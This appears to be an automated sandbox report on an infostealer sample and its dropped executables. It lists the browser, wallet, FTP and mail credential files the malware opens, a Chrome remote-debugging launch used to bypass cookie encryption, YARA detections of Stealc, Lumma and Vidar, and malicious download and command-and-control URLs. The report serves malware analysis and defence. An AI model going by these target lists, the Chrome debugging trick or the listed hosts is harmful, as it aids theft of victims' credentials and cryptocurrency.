Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO

Source: Yara match	File source: 0000001E.00000003.2546282312.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2475897323.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2424390722.0000000000C24000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2494949690.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6816, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000001F.00000002.2583966248.0000000001118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3afa1b1567.exe PID: 736, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6816, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1824673224.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1827260082.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2513319007.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2375597398.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2419824404.0000000000231000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1302298409.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D090D60 sqlite3_bind_parameter_name,	0_2_6D090D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D090C40 sqlite3_bind_zeroblob,	0_2_6D090C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB8EA0 sqlite3_clear_bindings,	0_2_6CFB8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D090B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6D090B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB6410 bind,WSAGetLastError,	0_2_6CFB6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB60B0 listen,WSAGetLastError,	0_2_6CFB60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB6070 PR_Listen,	0_2_6CFB6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CFBC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBC030 sqlite3_bind_parameter_count,	0_2_6CFBC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF422D0 sqlite3_bind_blob,	0_2_6CF422D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB63C0 PR_Bind,	0_2_6CFB63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB94F0 sqlite3_bind_text16,	0_2_6CFB94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB94C0 sqlite3_bind_text,	0_2_6CFB94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB9480 sqlite3_bind_null,	0_2_6CFB9480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB9400 sqlite3_bind_int64,	0_2_6CFB9400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	351 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.phpEB	100%	Avira URL Cloud	malware
.1.1home.fvtejj5vs.top	0%	Avira URL Cloud	safe
https://cook-rain.sbs/-MargSj95	100%	Avira URL Cloud	malware
https://cook-rain.sbs/Xj	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpKw8Mdp	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php1wf	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpaB8c	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exerlencodedy	100%	Avira URL Cloud	phishing
fvtejj5vs.top	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe61395:	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php996001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php0	100%	Avira URL Cloud	malware
http://185.215.113.43/15.113.43/ta	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllr	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpngPreference.Verb	100%	Avira URL Cloud	malware
http://185.215.113.206Z	0%	Avira URL Cloud	safe
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll.	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	0%	Avira URL Cloud	safe
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403k	0%	Avira URL Cloud	safe
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	0%	Avira URL Cloud	safe
QUERY\|rd\|AAAA\|IN\|home.fvtejj5vs.top	0%	Avira URL Cloud	safe
http://fvtejj5vs.top/v1/upload.php	0%	Avira URL Cloud	safe
http://185.215.113.206rontdesk	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpZp	100%	Avira URL Cloud	malware
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	0%	Avira URL Cloud	safe
https://cook-rain.sbs/N	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61395d7	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.1.91	true	false	high
fvtejj5vs.top	62.76.234.151	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.228	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
star-mini.c10r.facebook.com	157.240.0.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
